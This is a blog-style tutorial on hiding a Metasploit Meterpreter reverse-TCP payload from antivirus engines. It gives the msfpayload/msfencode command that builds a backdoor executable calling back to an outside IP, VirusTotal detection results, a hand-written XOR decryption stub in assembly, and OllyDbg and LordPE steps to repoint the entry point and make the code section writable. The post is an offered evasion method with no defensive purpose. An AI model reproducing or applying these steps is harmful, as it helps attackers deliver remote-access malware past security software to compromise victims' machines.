meterpreter xor for further av bypass

Still on holidays here, and in between sake, beer and shochu i found some time to read and check some things that i wanted to do for some time now. One of that was how to implement a simple binary xor in an .exe file especially for meterpreter. Meterpreter is great tool but is being detected from antivirus engines and that makes it difficult to use it as a standard payload. 

Simple way to create one meterpreter binary that will connect back on ip 192.168.11.7:

C:\framework\msf3>ruby msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.11.7 R | ruby msfencode -t exe -o meter_rever_tcp_192.exe -e x86/shikata_ga_nai
-c 2
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)

C:\framework\msf3>


Virustotal result on the binary:

Result:

15/ 37 (40.5%) HASH 0f5298c9572ed0db233b2632aa6068a7

With the following av engines detecting the binary:

Antivirus    Version    Last Update    Result
AhnLab-V3    2011.01.15.00    2011.01.14    Trojan/Win32.Shell
AntiVir        7.11.1.144    2011.01.14    TR/Crypt.EPACK.Gen2
BitDefender    7.2        2011.01.15    Backdoor.Shell.AC
Command        5.2.11.5    2011.01.14    W32/Swrort.A.gen!Eldorado
eTrust-Vet    36.1.8100    2011.01.14    Win32/Swrort.A!generic
F-Prot        4.6.2.117    2011.01.14    W32/Swrort.A.gen!Eldorado    -
GData        21        2011.01.15    Backdoor.Shell.AC
K7AntiVirus    9.75.3548    2011.01.14    Riskware
Microsoft    1.6402        2011.01.14    Trojan:Win32/Swrort.A
NOD32        5788        2011.01.14    a variant of Win32/Rozena.AA
nProtect    2011-01-14.01    2011.01.14    Backdoor.Shell.AC
Panda        10.0.2.7    2011.01.14    Suspicious file
Sophos        4.61.0    2011.01.14    Mal/Swrort-C
SUPERAntiSpyware    4.40.0.1006    2011.01.15    Trojan.Backdoor-PoisonIvy
VirusBuster        13.6.147.0    2011.01.14    Trojan.Rosena.Gen.1
 

 Manual packing of the binary can be done with many ways, the simplest way should be to XOR the data of the binary file. The process is easy you just have to do it once and see it working, from there someone can change the xor function to different more complicated methods in order to achieve better results.

Two tools will be used for the process, one is ollydbg ( http://www.ollydbg.de/ ) and the other lordpe ( http://www.woodmann.com/collaborative/tools/index.php/LordPE ).

Starting the process, we fire up ollydbg and load our binary file, 

Some things to observe here, the OEP, original entry point of the executable module, is at 00406D42. Also checking near the end of the file we are looking to find a place for the new instructions. We are actually looking for a series of  DB 00, at least 10 lines will do the work, if you don't have the space you can always add it using a hex editor.

For the binary file that I' m using a place around 0040BF60 seems nice to place the extra code. The instructions will be, 

mov ecx, "address of our code" - "original entry point"
mov eax, "original entry point"
xor byte [eax], 0A <- here the 0A acts as an encryption key and can be anything that you like
inc eax
dec ecx
jnz "our xor address"
push "original entry point"
retn 

For the binary file that i'm working with instructions are exactly like this:

mov ecx, 521E
mov eax, 00406D42
xor byte [eax], 0A
inc eax
dec ecx
jnz 0040bf6a
push 00406D42
retn

In order to save the modifications, right click, select copy to executable, all modifications

And again choose copy all in the next dialog box. Finally right click in the new window and choose save file.

Input a new filename and we are done for the moment with ollydbg. The next step is to instruct our file to execute our code before anything else. In order to achieve this we need to change the OEP ( original entry point ) to the first address of our instruction set ( for my file the address is 0040BF60).  

LordPE will help us to make this change. All we actually need to do is to calculate the new OEP based on the Image Base and the new entry point. Loading LordPE we choose Pe Editor and we select our new created file.

Originally we have the entry point at 6D42 with our Base Image at 40000, ( OEP loading the file at ollydbg was at 00406D42 )

We need the OEP to be placed at 0040BF60, so new entry point - base image ( 0040BF60 - 0040000 = BF60 )

After changing the EntryPoint we click Save, Ok and we close LordPE.

Back at ollydbg we load the new file, and we can see that the program now is starting at our first instruction.

We need to place now a breakpoint at retn instruction,

By doing that we are telling the debugger that when the program is going to be executed, the execution will stop at the retn function. We are doing this because all we need is for our xor function to start from the top of the actual code until the start of our code and xor every bit of data with the selected key, we don't want to run the program actually. After placing the breakpoint we hit run (or press F9) once

If we take a look at the code above we will see now that it's changed. Now we need to select the modified code and save it as a new file. So selection will start from our new OEP (0040BF60), until the first original OEP (00406D42) of the file.

Right click, select copy to executable, selection and again right click on the new window and save file with a new name.

Finally we have our new XORed file.

Using this simple technique only 2 antivirus engines were bypassed and no longer are detecting meterpreter as virus, the av engines that no longer recognize the binary file are VirusBuster and eTrust-Vet.

More results will follow with different methods of binary encryption/packing. A final for this test, the ollydbg may log an access violation during the XOR process, this is due to the fact that many times .text section of the PE file is market as executable and readable only. We need to change the flags on the section to writable as well. To achieve that loading the file in LordPE, from PE editor, sections, right click on the .text section, flags ... make sure the writable option is set.